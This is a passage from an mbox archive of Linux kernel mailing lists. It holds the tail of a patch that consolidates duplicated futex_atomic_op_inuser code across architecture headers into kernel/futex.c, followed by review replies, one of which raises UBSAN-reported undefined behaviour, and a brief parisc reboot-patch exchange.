@@ -68,30 +58,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0ba14300cd8e..c601aab2fb36 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -32,22 +32,12 @@ _futex_spin_unlock_irqrestore(u32 __user *uaddr, unsigned long int *flags)
 }
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
 	unsigned long int flags;
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
-		return -EFAULT;
-
 	_futex_spin_lock_irqsave(uaddr, &flags);
 	pagefault_disable();
 
@@ -85,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/powerpc/include/asm/futex.h b/arch/powerpc/include/asm/futex.h
index eaada6c92344..719ed9b61ea7 100644
--- a/arch/powerpc/include/asm/futex.h
+++ b/arch/powerpc/include/asm/futex.h
@@ -29,18 +29,10 @@
 	: "b" (uaddr), "i" (-EFAULT), "r" (oparg) \
 	: "cr0", "memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,17 +58,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/s390/include/asm/futex.h b/arch/s390/include/asm/futex.h
index a4811aa0304d..8f8eec9e1198 100644
--- a/arch/s390/include/asm/futex.h
+++ b/arch/s390/include/asm/futex.h
@@ -21,17 +21,12 @@
 		: "0" (-EFAULT), "d" (oparg), "a" (uaddr),		\
 		  "m" (*uaddr) : "cc");
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, newval, ret;
 
 	load_kernel_asce();
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
 
 	pagefault_disable();
 	switch (op) {
@@ -60,17 +55,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/sh/include/asm/futex.h b/arch/sh/include/asm/futex.h
index d0078747d308..8f8cf941a8cd 100644
--- a/arch/sh/include/asm/futex.h
+++ b/arch/sh/include/asm/futex.h
@@ -27,21 +27,12 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	return atomic_futex_op_cmpxchg_inatomic(uval, uaddr, oldval, newval);
 }
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	u32 oparg = (encoded_op << 8) >> 20;
-	u32 cmparg = (encoded_op << 20) >> 20;
 	u32 oldval, newval, prev;
 	int ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	do {
@@ -80,17 +71,8 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = ((int)oldval < (int)cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = ((int)oldval >= (int)cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = ((int)oldval <= (int)cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = ((int)oldval > (int)cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 }
diff --git a/arch/sparc/include/asm/futex_64.h b/arch/sparc/include/asm/futex_64.h
index 4e899b0dabf7..1cfd89d92208 100644
--- a/arch/sparc/include/asm/futex_64.h
+++ b/arch/sparc/include/asm/futex_64.h
@@ -29,22 +29,14 @@
 	: "r" (uaddr), "r" (oparg), "i" (-EFAULT)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (unlikely(!access_ok(VERIFY_WRITE, uaddr, sizeof(u32))))
-		return -EFAULT;
 	if (unlikely((((unsigned long) uaddr) & 0x3UL)))
 		return -EINVAL;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -69,17 +61,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/tile/include/asm/futex.h b/arch/tile/include/asm/futex.h
index e64a1b75fc38..83c1e639b411 100644
--- a/arch/tile/include/asm/futex.h
+++ b/arch/tile/include/asm/futex.h
@@ -106,12 +106,9 @@
 	lock = __atomic_hashed_lock((int __force *)uaddr)
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int uninitialized_var(val), ret;
 
 	__futex_prolog();
@@ -119,12 +116,6 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	/* The 32-bit futex code makes this assumption, so validate it here. */
 	BUILD_BUG_ON(sizeof(atomic_t) != sizeof(int));
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -148,30 +139,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (val == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (val != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (val < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (val >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (val <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (val > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = val;
+
 	return ret;
 }
 
diff --git a/arch/x86/include/asm/futex.h b/arch/x86/include/asm/futex.h
index b4c1f5453436..f4dc9b63bdda 100644
--- a/arch/x86/include/asm/futex.h
+++ b/arch/x86/include/asm/futex.h
@@ -41,20 +41,11 @@
 		       "+m" (*uaddr), "=&r" (tem)		\
 		     : "r" (oparg), "i" (-EFAULT), "1" (0))
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -80,30 +71,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/xtensa/include/asm/futex.h b/arch/xtensa/include/asm/futex.h
index b39531babec0..eaaf1ebcc7a4 100644
--- a/arch/xtensa/include/asm/futex.h
+++ b/arch/xtensa/include/asm/futex.h
@@ -44,18 +44,10 @@
 	: "r" (uaddr), "I" (-EFAULT), "r" (oparg)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 #if !XCHAL_HAVE_S32C1I
 	return -ENOSYS;
@@ -89,19 +81,10 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (ret)
-		return ret;
+	if (!ret)
+		*oval = oldval;
 
-	switch (cmp) {
-	case FUTEX_OP_CMP_EQ: return (oldval == cmparg);
-	case FUTEX_OP_CMP_NE: return (oldval != cmparg);
-	case FUTEX_OP_CMP_LT: return (oldval < cmparg);
-	case FUTEX_OP_CMP_GE: return (oldval >= cmparg);
-	case FUTEX_OP_CMP_LE: return (oldval <= cmparg);
-	case FUTEX_OP_CMP_GT: return (oldval > cmparg);
-	}
-
-	return -ENOSYS;
+	return ret;
 }
 
 static inline int
diff --git a/include/asm-generic/futex.h b/include/asm-generic/futex.h
index bf2d34c9d804..f0d8b1c51343 100644
--- a/include/asm-generic/futex.h
+++ b/include/asm-generic/futex.h
@@ -13,7 +13,7 @@
  */
 
 /**
- * futex_atomic_op_inuser() - Atomic arithmetic operation with constant
+ * arch_futex_atomic_op_inuser() - Atomic arithmetic operation with constant
  *			  argument and comparison of the previous
  *			  futex value with another constant.
  *
@@ -25,18 +25,11 @@
  * <0 - On error
  */
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	preempt_disable();
 	pagefault_disable();
 
@@ -74,17 +67,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	preempt_enable();
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (ret == 0)
+		*oval = oldval;
+
 	return ret;
 }
 
@@ -126,18 +111,9 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 #else
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -153,17 +129,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/kernel/futex.c b/kernel/futex.c
index 357348a6cf6b..28dc71b05250 100644
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -1546,6 +1546,42 @@ futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
 	return ret;
 }
 
+static int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+{
+	int op = (encoded_op >> 28) & 7;
+	int cmp = (encoded_op >> 24) & 15;
+	int oparg = (encoded_op << 8) >> 20;
+	int cmparg = (encoded_op << 20) >> 20;
+	int oldval, ret;
+
+	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
+		oparg = 1 << oparg;
+
+	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
+		return -EFAULT;
+
+	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
+	if (ret)
+		return ret;
+
+	switch (cmp) {
+	case FUTEX_OP_CMP_EQ:
+		return oldval == cmparg;
+	case FUTEX_OP_CMP_NE:
+		return oldval != cmparg;
+	case FUTEX_OP_CMP_LT:
+		return oldval < cmparg;
+	case FUTEX_OP_CMP_GE:
+		return oldval >= cmparg;
+	case FUTEX_OP_CMP_LE:
+		return oldval <= cmparg;
+	case FUTEX_OP_CMP_GT:
+		return oldval > cmparg;
+	default:
+		return -ENOSYS;
+	}
+}
+
 /*
  * Wake up all waiters hashed on the physical page that is mapped
  * to this virtual address:
-- 
2.13.0



From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/1] futex: remove duplicated code
Date: Mon, 15 May 2017 14:16:45 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20170515131644.GA3605@arm.com>
References: <20170515130742.18357-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1494854218 13084 195.159.176.226 (15 May 2017 13:16:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 May 2017 13:16:58 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: tglx@linutronix.de, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-hexagon-owner@vger.kernel.org Mon May 15 15:16:50 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1dAFrl-0002VX-2B
	for glphk-linux-hexagon@m.gmane.org; Mon, 15 May 2017 15:16:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933312AbdEONQt (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Mon, 15 May 2017 09:16:49 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:52314 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933240AbdEONQs (ORCPT <rfc822;linux-hexagon@vger.kernel.org>);
        Mon, 15 May 2017 09:16:48 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 16A812B;
        Mon, 15 May 2017 06:16:47 -0700 (PDT)
Original-Received: from edgewater-inn.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id D78653F23B;
        Mon, 15 May 2017 06:16:46 -0700 (PDT)
Original-Received: by edgewater-inn.cambridge.arm.com (Postfix, from userid 1000)
        id 1864E1AE339C; Mon, 15 May 2017 14:16:46 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20170515130742.18357-1-jslaby@suse.cz>
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1192 gmane.linux.kernel:2475069 gmane.linux.ports.alpha:4188 gmane.linux.kernel.arc:2386 gmane.linux.ports.arm.kernel:577673 gmane.linux.ports.ia64:27797 gmane.linux.ports.mips.general:59056 gmane.linux.ports.parisc:27418 gmane.linux.ports.ppc64.devel:142131 gmane.linux.ports.sh.devel:55223 gmane.linux.ports.sparc:25027 gmane.linux.kernel.cross-arch:36435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1192>

Hi Jiri,

On Mon, May 15, 2017 at 03:07:42PM +0200, Jiri Slaby wrote:
> There is code duplicated over all architecture's headers for
> futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> and comparison of the result.
> 
> Remove this duplication and leave up to the arches only the needed
> assembly which is now in arch_futex_atomic_op_inuser.
> 
> Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> remove pointless access_ok() checks") as access_ok there returns true.
> We introduce it back to the helper for the sake of simplicity (it gets
> optimized away anyway).

Whilst I think this is a good idea, the code in question actually results
in undefined behaviour per the C spec and is reported by UBSAN. See my
patch fixing arm64 here (which I'd forgotten about):

https://www.spinics.net/lists/linux-arch/msg38564.html

But, as stated in the thread above, I think we should go a step further
and remove FUTEX_OP_{OR,ANDN,XOR,OPARG_SHIFT} altogether. They don't
appear to be used by userspace, and this whole thing is a total mess.

Any thoughts?

Will

From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Stop CPUs via PAT firmware before system halt or reboot.
Date: Mon, 15 May 2017 20:29:18 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <926005BA-0712-4D52-8995-E9FEDB5F890E@bell.net>
References: <20170512165513.GA23551@ls3530.fritz.box> <267CAD7B-3DB7-457E-8A82-2CFB2FF07587@bell.net> <eb437932-ad37-b6d4-0035-edcf76538424@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1494894560 12106 195.159.176.226 (16 May 2017 00:29:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 May 2017 00:29:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 16 02:29:15 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dAQMU-0001o4-VL
	for glpp-linux-parisc@m.gmane.org; Tue, 16 May 2017 02:29:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750765AbdEPA3U convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 15 May 2017 20:29:20 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:60226 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750711AbdEPA3U (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 15 May 2017 20:29:20 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170516002919.FRVB27897.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 15 May 2017 20:29:19 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by mtlspm02.bell.net
          with ESMTP
          id <20170516002919.KAVF6763.mtlspm02.bell.net@[192.168.2.25]>;
          Mon, 15 May 2017 20:29:19 -0400
In-Reply-To: <eb437932-ad37-b6d4-0035-edcf76538424@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=YPlw8VOx c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=kj9zAlcOel0A:10 a=tJ8p9aeEuA8A:10 a=FBHGMhGWAAAA:8 a=QlSE0HIvbNCHc0gWFwkA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27419>

On 2017-05-15, at 3:39 AM, Helge Deller wrote:

> Anyway, I did included an updated patch [1] in my last git pull request to Linus (which actually
> didn't made it into 4.12...).
> Can you test this one instead?

I still see same behavior.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Stop CPUs via PAT firmware before system halt or
 reboot.
Date: Tue, 16 May 2017 21:22:30 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <cdeeccf5-653f-2b99-5370-707b2862e46a@gmx.de>
References: <20170512165513.GA23551@ls3530.fritz.box>
 <267CAD7B-3DB7-457E-8A82-2CFB2FF07587@bell.net>
 <eb437932-ad37-b6d4-0035-edcf76538424@gmx.de>
